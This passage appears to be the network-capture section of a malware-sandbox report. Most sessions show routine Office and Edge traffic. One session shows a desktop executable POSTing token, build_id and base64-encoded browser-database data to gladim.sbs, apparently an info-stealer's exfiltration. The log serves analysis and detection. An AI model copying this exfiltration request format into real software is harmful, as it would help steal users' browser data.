S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]":return(0
2024-12-02 00:34:41 UTC	8192	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 2d 31 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 65 7c 7c 28 65 3d 41 72 72 61 79 28 72 29 29 3b 2b 2b 6e 3c 72 3b 29 65 5b 6e 5d 3d 74 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 37 31 37 32 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 33 37 38 36 29 2c 69 3d 6e 28 32 34 30 37 37 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 6f 29 7b 76 61 72 20 75 3d 21 6e 3b 6e 7c 7c 28 6e 3d 7b 7d 29 3b 66 6f 72 28 76 61 72 20 63 3d 2d 31 2c 61 3d 65 2e 6c 65 6e 67 74 68 3b 2b 2b 63 3c 61 3b 29 7b 76 61 72 20 73 3d 65 5b Data Ascii: :function(t,e){"use strict";e.Z=function(t,e){var n=-1,r=t.length;for(e\|\|(e=Array(r));++n<r;)e[n]=t[n];return e}},7172:function(t,e,n){"use strict";var r=n(43786),i=n(24077);e.Z=function(t,e,n,o){var u=!n;n\|\|(n={});for(var c=-1,a=e.length;++c<a;){var s=e[
2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 28 65 28 6e 29 29 7d 7d 7d 2c 36 33 34 37 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 37 34 37 34 34 29 2c 69 3d 4d 61 74 68 2e 6d 61 78 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 3d 69 28 76 6f 69 64 20 30 3d 3d 3d 65 3f 74 2e 6c 65 6e 67 74 68 2d 31 3a 65 2c 30 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2c 75 3d 2d 31 2c 63 3d 69 28 6f 2e 6c 65 6e 67 74 68 2d 65 2c 30 29 2c 61 3d 41 72 72 61 79 28 63 29 3b 2b 2b 75 3c 63 3b 29 61 5b 75 5d 3d 6f 5b 65 2b 75 5d 3b 75 3d 2d 31 3b 66 6f 72 28 76 61 72 20 73 3d 41 72 Data Ascii: turn function(n){return t(e(n))}}},63479:function(t,e,n){"use strict";var r=n(74744),i=Math.max;e.Z=function(t,e,n){return e=i(void 0===e?t.length-1:e,0),function(){for(var o=arguments,u=-1,c=i(o.length-e,0),a=Array(c);++u<c;)a[u]=o[e+u];u=-1;for(var s=Ar

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 926e5261-401e-008c-1d9e-4286c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003440Z-174f7845968swgbqhC1EWRmnb400000013yg000000000cbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49846	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFCAAAAFBAKEBFBAKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------CFCFCAAAAFBAKEBFBAKKCont
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-02 00:34:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49844	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:41 UTC	583	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e85c2d7b-f01e-0072-3923-441939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003440Z-174f7845968cdxdrhC1EWRg0en00000013mg00000000e9ty Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:41 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
